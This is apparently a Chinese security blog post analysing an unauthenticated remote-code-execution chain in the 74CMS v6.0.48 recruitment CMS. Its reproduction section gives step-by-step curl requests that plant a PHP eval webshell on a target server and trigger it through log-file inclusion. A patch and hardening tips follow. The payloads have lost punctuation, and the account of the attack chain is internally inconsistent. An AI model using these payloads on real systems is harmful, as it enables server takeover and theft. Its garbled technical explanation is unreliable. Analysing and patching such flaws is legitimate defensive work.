74CMS v6.0.48模版注入与文件包含漏洞深度剖析 1. 漏洞背景与影响范围74CMS作为国内广泛使用的人才招聘系统其6.0.48版本曝出的模版注入与文件包含漏洞组合拳堪称近年来企业CMS系统中最危险的攻击链之一。这个漏洞最可怕之处在于攻击者无需任何登录凭证仅通过构造特殊HTTP请求就能实现服务器控制。我在实际渗透测试中发现许多企业用户由于长期未更新系统仍在使用受影响版本这相当于给黑客敞开了大门。该漏洞的核心在于assign_resume_tpl函数对用户输入过滤不严格配合ThinkPHP框架的文件包含特性形成了完整的RCE远程代码执行攻击路径。影响范围明确覆盖v6.0.48及以下所有版本与早期v5.0.1后台RCE漏洞相比这个漏洞的利用门槛更低——既不需要管理员权限也不依赖后台登录。2. 漏洞原理深度解析2.1 模版注入漏洞成因在/Application/Common/Controller/BaseController.class.php文件中assign_resume_tpl函数原本的设计逻辑是处理简历模版渲染public function assign_resume_tpl($variable,$tpl){ foreach ($variable as $key $value) { $this-assign($key,$value); } return $this-fetch($tpl); }问题出在$tpl参数未做严格校验。当攻击者提交恶意模版内容时系统会直接将其作为PHP代码执行。比如构造这样的POST请求POST /index.php?mhomeaassign_resume_tpl Content-Type: application/x-www-form-urlencoded variable1tpl?php fputs(fopen(shell.php,w),?php eval($_POST[x]);?)?这段payload会直接在网站根目录生成webshell文件。我在测试时发现即使开启了PHP安全模式这种写入方式依然有效因为漏洞利用的是CMS自身的模版渲染机制。2.2 文件包含漏洞配合利用单纯模版注入还不足以构成完整攻击链关键在于74CMS的日志文件包含特性。系统会将错误信息记录在data/Runtime/Logs/Home/目录下文件名格式为年_月_日.log如21_01_20.log。通过包含日志文件可以执行之前注入的恶意代码POST /index.php?mhomeaassign_resume_tpl Content-Type: application/x-www-form-urlencoded variable1tpldata/Runtime/Logs/Home/21_01_20.log这种组合攻击的精妙之处在于先通过模版注入写入恶意代码到日志再利用文件包含执行日志中的代码整个过程完全在前台完成无需任何权限3. 完整复现实战指南3.1 环境搭建要点建议使用PHP 5.6MySQL环境复现与生产环境更接近。我这里用Docker快速搭建docker run -d -p 8080:80 --name 74cms \ -v $(pwd)/upload:/var/www/html \ -e MYSQL_ROOT_PASSWORDroot \ php:5.6-apache安装时注意数据库字符集选择utf8mb4关闭安装后自动删除install.php的功能开启调试模式后续查看日志更方便3.2 分步攻击演示第一步检测漏洞存在性访问http://target/index.php?mhomeaassign_resume_tpl若返回空白页或报错信息说明端点存在。第二步注入webshell使用curl发送恶意请求curl -X POST http://target/index.php?mhomeaassign_resume_tpl \ -d variable1tpl?php file_put_contents(shell.php,?php eval(\$_POST[cmd]);?);?第三步确定日志路径查看服务器响应头中的X-Powered-By字段如果是ThinkPHP框架默认日志路径为data/Runtime/Logs/Home/当前日期.log第四步文件包含执行curl -X POST http://target/index.php?mhomeaassign_resume_tpl \ -d variable1tpldata/Runtime/Logs/Home/24_07_15.log第五步验证webshell访问http://target/shell.php?cmdphpinfo();能看到phpinfo页面说明攻击成功。4. 漏洞修复方案官方在后续版本中增加了关键校验$view new \Think\View; $tpl_file $view-parseTemplate($tpl); if(!is_file($tpl_file)){ return false; }建议所有用户立即升级到最新版本。如果暂时无法升级可以手动修改以下文件/Application/Common/Controller/BaseController.class.php增加上述校验/ThinkPHP/Library/Think/View.class.php注释掉第110行的模板不存在报错设置Runtime目录不可执行PHP5. 防御措施进阶建议除了官方补丁我建议企业用户额外实施在Nginx层添加规则拦截包含Runtime/Logs的请求定期清理日志文件或将其存储在非web目录使用PHP的open_basedir限制文件访问范围对assign_resume_tpl接口增加CSRF Token防护这个漏洞给我们的启示是即使使用成熟CMS也要保持警惕。我在安全审计中发现很多企业CMS的漏洞都源于对用户可控数据的过度信任。建议开发者对所有接收外部输入的参数都实施白名单校验这是阻断此类攻击最有效的方式。